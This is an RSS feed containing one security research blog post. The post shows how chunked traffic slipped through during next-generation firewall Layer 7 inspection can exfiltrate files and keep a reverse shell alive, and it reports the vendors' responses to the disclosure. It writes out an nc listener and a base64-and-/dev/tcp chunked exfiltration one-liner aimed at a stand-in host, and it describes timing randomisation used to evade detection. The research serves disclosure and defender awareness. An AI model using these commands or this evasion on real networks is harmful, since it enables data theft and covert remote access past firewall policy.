<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Giulio Pellizzari on Medium]]></title>
        <description><![CDATA[Stories by Giulio Pellizzari on Medium]]></description>
        <link>https://medium.com/@pllgiulio96?source=rss-c0f4843e6bf3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*yqtPwlmVSGyYkty-S2dMSg.jpeg</url>
            <title>Stories by Giulio Pellizzari on Medium</title>
            <link>https://medium.com/@pllgiulio96?source=rss-c0f4843e6bf3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 04:46:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pllgiulio96/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When features turn into nightmares: how threat actors can bypass NGFW to exfiltrate data and…]]></title>
            <link>https://medium.com/@pllgiulio96/when-features-turn-into-nightmares-how-threat-actors-can-exploit-ngfw-features-to-exfiltrate-data-125e2f33372b?source=rss-c0f4843e6bf3------2</link>
            <guid isPermaLink="false">https://medium.com/p/125e2f33372b</guid>
            <category><![CDATA[firewall]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ngfw]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Giulio Pellizzari]]></dc:creator>
            <pubDate>Tue, 11 Apr 2023 15:03:59 GMT</pubDate>
            <atom:updated>2024-02-24T15:22:08.271Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>When features turn into nightmares: how threat actors can bypass NGFW to exfiltrate data and establish a reverse shell</strong></h3><blockquote><strong>Disclaimer</strong>: all the information on this article is published in good faith and for general information purpose only. The article authors do not make any warranties about the completeness, reliability and accuracy of this information. Any action you take upon the information you find on this article, is strictly at your own risk. We will not be liable for any losses and/or damages in connection with the use of our article.</blockquote><blockquote>We ensure that our tests did not cause any harm to the systems we tested. For instance, we neither injected any malicious code nor tried to perform unauthorized operations on hosts that are not under our control. We created a test environment in an isolated network branch to run the experiments. After the identification of what we consider a (potentially) dangerous feature we contacted the two vendors providing them all the details about the tests we performed.</blockquote><blockquote>Given the provided information, the Vendor_1 stated that what we discovered is the normal behavior of its appliance while Vendor_2 engages its engineering to find out how the reported behavior can be fixed but it finally reaches the same conclusion as Vendor_1. Since we think our findings are relevant for both defenders and attackers we decided to share what we discovered.</blockquote><p><strong>Introduction</strong></p><p>In 2009 Gartner defined Next Generation Firewalls (NGFW) as <em>“deep packet inspection firewalls that move beyond port/protocol inspection and blocking to add application-level inspection intrusion prevention, and bringing intelligence from outside the firewall“</em>. This new type of firewall allows traffic inspection not only on layer 3 and 4 but till Layer 7. Therefore, NGFW Layer 7 inspection enables the enforcement of security policy based not only on source/destination IP or port but also on high level information such as the user profile, the application used by the user or the content he is visiting.<br>To implement this capability, the firewall lets some packets reach the destination host to infer the Layer 7 information necessary for the policy lookup. Based on the inferred information and the configured policies, the appliance then decides whether the traffic has to be allowed or denied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta_dDWz0l70rUotfQTcYwQ.png" /><figcaption>NGFW policy enforcement process</figcaption></figure><p><strong>Idea</strong></p><p>Given the behavior presented in the introduction, we started thinking if this feature might have been exploited in some way by threat actors. Indeed, in case the policy lookup returns an action allow, there would be no risk but, in case the connection is blocked, we had a small portion of data that reaches a destination it was not supposed to reach.</p><p>Therefore we asked ourselves:</p><blockquote>Can we exploit this behavior to exfiltrate data to a destination not allowed by the NGFW policies?</blockquote><p>To answer this question, we set up a test environment where we were free to perform test and implement custom policies without risking any harm.</p><p>The scenario we tested consists of a host that tries to send data to a prohibited destination exploiting the small portion of data (hereafter called <em>window</em>) that reaches it during the NGFW policy lookup. Given that, after several analysis of NGFW behavior we finally come out with an idea. Since the amount of bytes the NGFW let pass is not enough to exfiltrate a file all at once, we develop the following process:</p><ul><li>split the file into chunks. Each chunk will have the size of the window used by the NGFW to identify the Layer 7 information</li><li>send each chunk using a different session to avoid the session truncation performed once the policy lookup process is completed and the connection terminated</li><li>reassemble the chunks the destination</li></ul><p>Theoretically, following these steps, we would have been able to bypass the blocks set on the firewall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*2Amd3WAH8v3BTFwoQA5EhA.gif" /><figcaption>Exfiltration idea</figcaption></figure><p><strong>Environment</strong></p><p>To verify the two hypothesis we define a test environment as follow:</p><ul><li>organization_network simulating the intranet of a organization. In this network there will be the host simulating the infected client (hereafter C) that should connect to the evil Command &amp; Control (hereafter E) infrastructure.</li><li>internet_network simulating the hosts on Internet. In this network there will be the host simulating the remote Einfrastructure.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9hYRAZAYco1cPAMJo1xTWg.png" /></figure><ul><li>a NGFW configured as follow: <strong>allow</strong> the connection from organization_network to internet_network only if the destination is a custom defined URL (e.g. *.google.com) and <strong>block</strong> everything else</li></ul><p><strong>Attack scenario</strong></p><p>Given this environment we tested two attack scenarios using the technique previously described:</p><ul><li><strong>Exfiltration</strong>: in this first attack scenario, the experiment aims to make the C send a file to the E infrastructure hosted at a different URL than the one allowed by the NGFW.</li><li><strong>Reverse shell</strong>: in this second attack scenario, the experiment aims to make the C create a reverse shell for the E infrastructure hosted at a different URL than the one allowed by the NGFW. Indeed, while performing the experiments to implement the first attack scenario, we noticed that as some data coming from the organization_network passes the NGFW and goes out, some data from the internet_network follows the inverse path and reach the organization_network. This means there could be a way to establish a <em>two-way</em> communication between a host of organization_network and a host of the internet_network which are not supposed to talk to each other.</li></ul><p><strong>POC on <em>Vendor_1</em> NGFW</strong></p><p>To run our experiments on <em>Vendor_1</em> NGFW we set up the following scenario:</p><ul><li>client-inside is configured as organization_network with the host victim as C</li><li>client-outside is configured as internet_network with the host evil as E</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_wzkjbDkZk9dHhKtc8MYrw.png" /><figcaption>Test environment configuration</figcaption></figure><ul><li>a NGFW configured as follow: <strong>allow</strong> connection to *.google.com on web browsing ports (e.g. 80, 443) and <strong>block</strong> everything else</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iK9O_3QyhsEfRmfy9lMOWw.png" /><figcaption>Next-Generation Firewall configuration</figcaption></figure><p><strong>Exfiltration</strong></p><p>We started attempting the exfiltration using a window of only a bunch of bytes. The aim of the experiment is to send a file from the C to the E. We started a listener on E:</p><blockquote>while true; do nc -l -p 12345 &gt;&gt; sample.b64; done</blockquote><p>From C, we took a file, we base64-encoded it and then splitted it into chunks with the size of the window we choose (100B in the following example). Each chunk has been then sent to a maked up destination (<em>ngfw.example.com</em>) using a socket:</p><blockquote>base64 -w 100 sample.txt | while read F; do printf “$F” &gt; /dev/tcp/ngfw.example.com/12345 ; done</blockquote><p>Once completed the transfer, we had just to base64-decode the data received by E and with these two simple commands the objective of exfiltrating a file has been easily achieved without the firewall noticing anything.</p><p>However, we decided to move forward in the analysis and play with the window size to see how far we might go. After several experiments, we were able to exfiltrate till <strong>5544 byte</strong>, 3544 more than the 2000 maximum bytes defined the in the documentation of the NGFW we used for the experiments.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FIkwbV1VHirA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DIkwbV1VHirA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FIkwbV1VHirA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3964e38c743ea9be3a38e49f29f613fd/href">https://medium.com/media/3964e38c743ea9be3a38e49f29f613fd/href</a></iframe><p><em>NB: In order to prove that we are able to exfiltrate more than the 2000 bytes supposed to be used by the Vendor_1 NGFW to identify Layer 7 information, we mapped a maked up hostname (</em><em>ngfw.example.com) to an IP of the </em><em>client-outside network to force the NGFW policy lookup till Layer 7. <br></em><strong><em>Nevertheless, this mapping has been performed only to increase the window size. The experiments presented here and in the following sections work even without host mapping</em></strong><em>.</em></p><p><strong>Reverse shell</strong></p><p>To test whether it is possible to set up a reverse shell, we develop a couple of scripts to try to exploit the NGFW behavior. Of course, there are some constraint we have to keep into consideration to let the reverse shell works:</p><ol><li>the communication has to be initiated by the host in organization_network (that is the C)</li><li>the communication session has to be kept alive using the same idea implemented to achieve the file exfiltration, therefore all the communication are maintained by <strong>splitting the message into chunks</strong> with the size of the windows allowed by the NGFW. Once reached the destination, the chunks are <strong>sorted</strong> and <strong>merged</strong> again into the initial message. While the second constraint is needed to exploit the NGFW feature, the first one is something every drive-by download compromise requires.</li></ol><p>Therefore, given these constraints, the script will work as follow:</p><ul><li>on the E we started a listener on a specific port</li><li>on the C we attempt the connection to the E on the chosen ports</li><li>once completed the initial connection, the C send a <em>[START]</em> message to the E and the two-way communication starts</li><li>The E will send the commands that have to be executed on the C inside the packets going back to the C</li><li>The command is then interpreted and executed by the C</li><li>The command results are then splitted into chunks and sent back to the E using a different session for each chunk as done with file exfiltration</li></ul><p>In other words we can say that an infected client C polling a destination E it is not supposed to reach according to NGFW policies, enables the establishment of a reverse shell on it.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FcbSc8H8m9sU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DcbSc8H8m9sU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FcbSc8H8m9sU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5d166348d5ae19f5008e817ef171d409/href">https://medium.com/media/5d166348d5ae19f5008e817ef171d409/href</a></iframe><p><strong>Responsible disclosure</strong></p><p>Even if the analysis of the traffic recorded during the experiments highlighted <strong>common characteristics</strong> of the connections executed by the victim client C that might lead to the implementation of SIEM rule matching the behavior presented in this article, we thought the <strong>risk</strong> related to this feature <strong>can not be ignored</strong>. Therefore, following the responsible disclosure best practices, we reported our findings to the vendor. <br><em>Vendor_1</em> initially minimize the issue by telling us it is due to a bad configuration we had on the firewall. After some months of tests, we went back to them with a detailed report including network traces, videos and script. We configured a lab as they suggested and, after showing them the two attacks, we shared with them all the materials we gathered to let them run the experiments on their environment. After a while, they came back to us telling that this is the <strong>expected behavior</strong> and it is intrinsic of every NGFW therefore for them <strong>this is not a vulnerability</strong>. We tried to insist and stress the fact that it should be the NGFW itself to identify and block this type of behavior (e.g. using a IDS/IPS engine with a specific signature for it). Nevertheless, <em>Vendor_1 </em>point on this behavior did not change.</p><p><strong>POC on <em>Vendor_2</em> NGFW</strong></p><p>Since the response <em>“expected behavior”</em> provided by <em>Vendor_1</em> does not find our agreement, we moved on and we discussed with friends to find a NGFW from another vendor to run the same experiments. After some months of research we were able to find the NGFW we were looking for. We set up the same environment used for <em>Vendor_1</em> on <em>Vendor_2</em> NGFW and we started the experiments.</p><p><strong>Exfiltration</strong></p><p>The first attempts performed with the technique applied for <em>Vendor_1</em> did not have success. The security engine of <em>Vendor_2</em> NGFW performed better then the first one and the traffic was blocked. However the experiments performed showed that the key factor leading to the block was the high rate of connection performed by the victim client C. Indeed, if we <strong>randomize the time</strong> among the connection attempts, we proved we were able to exfiltrate the data as happened with <em>Vendor_1</em>.</p><p><strong>Reverse shell</strong></p><p>While the exfiltration experiment requires a bit more sophistication, the <strong>reverse shell</strong> one <strong>works without any issue</strong> with the script used for <em>Vendor_1</em>. This is probably due to the fact that the reverse shell experiment has intrinsic delays caused by the user interaction. Hence, the natural randomization of request frequency makes the firewall unable to group together these connections as it does when it recognize the basic exfiltration attempt.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FvDhdeZrmjl4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DvDhdeZrmjl4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FvDhdeZrmjl4%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ade8c754d5de53f557d9280009a24532/href">https://medium.com/media/ade8c754d5de53f557d9280009a24532/href</a></iframe><p><strong>Responsible disclosure</strong></p><p>As we did for <em>Vendor_1</em>, we acted responsibly also with <em>Vendor_2</em>. We explained them what we discovered telling them this is not the first time we report this issue. They congrats with us about the work we did (<em>‘impressive’</em> they said) but after providing them the scripts and the details about the experiments, they come back with the same verdict of <em>Vendor_1</em>: <strong>this is an expected behavior and not a vulnerability</strong>.</p><p><strong>Final considerations</strong></p><p>To support their claim, both vendors hid behind the fact that the presented attack scenarios require an infected client inside the organization network to achieved the purpose of the described attacks. This aspect was the thing <strong>disappointed us the most</strong>. Both shifted the focus from the NGFW issue telling that <em>“if a malware or a malicious insider infected a host then this type of policy control falls down”</em>. However, even if this is true, we think the focus of this discovery is different: we have a <strong>firewall technology</strong> designed to prevent unauthorized or unwanted communications between computer networks or hosts that is <strong>not working as expected</strong>. Therefore a technology supposed to help us enforcing our security policies (especially in case of compromise) is actually not helping us in doing so.</p><p>Additionally, if this is an expected behavior, we expect that when looking at the NGFW technical specifications we should find there information about this abnormal behavior but <strong>none of the two vendors talk about it</strong>.</p><p>To conclude, we agree with vendors that this is not a vulnerability because the NGFW is designed to work as identified. Nevertheless, <strong>we can not agree that this behavior is expected because what we discovered highlights relevant side effects of the NGFW that can not be consciously designed</strong>. Therefore, regardless of the vendor, every organization using this technology might be vulnerable to attacks following the pattern described in this article.</p><p>The purpose of the disclosure is therefore to <strong>increase awareness</strong> among defenders and share the risk linked to this technology. You can find <a href="https://github.com/pllgiulio/NGFW-nightmare">here</a> the scripts used to run the reverse shell experiment to let everyone that is interested to replicate the test in their environments.</p><blockquote>Credits: <a href="https://www.linkedin.com/in/pllgiulio/">Giulio Pellizzari</a>, <a href="https://www.linkedin.com/in/ruggieropiazzolla/">Ruggiero Piazzolla</a>, <a href="https://www.linkedin.com/in/simonevendemia/">Simone Vendemia</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=125e2f33372b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>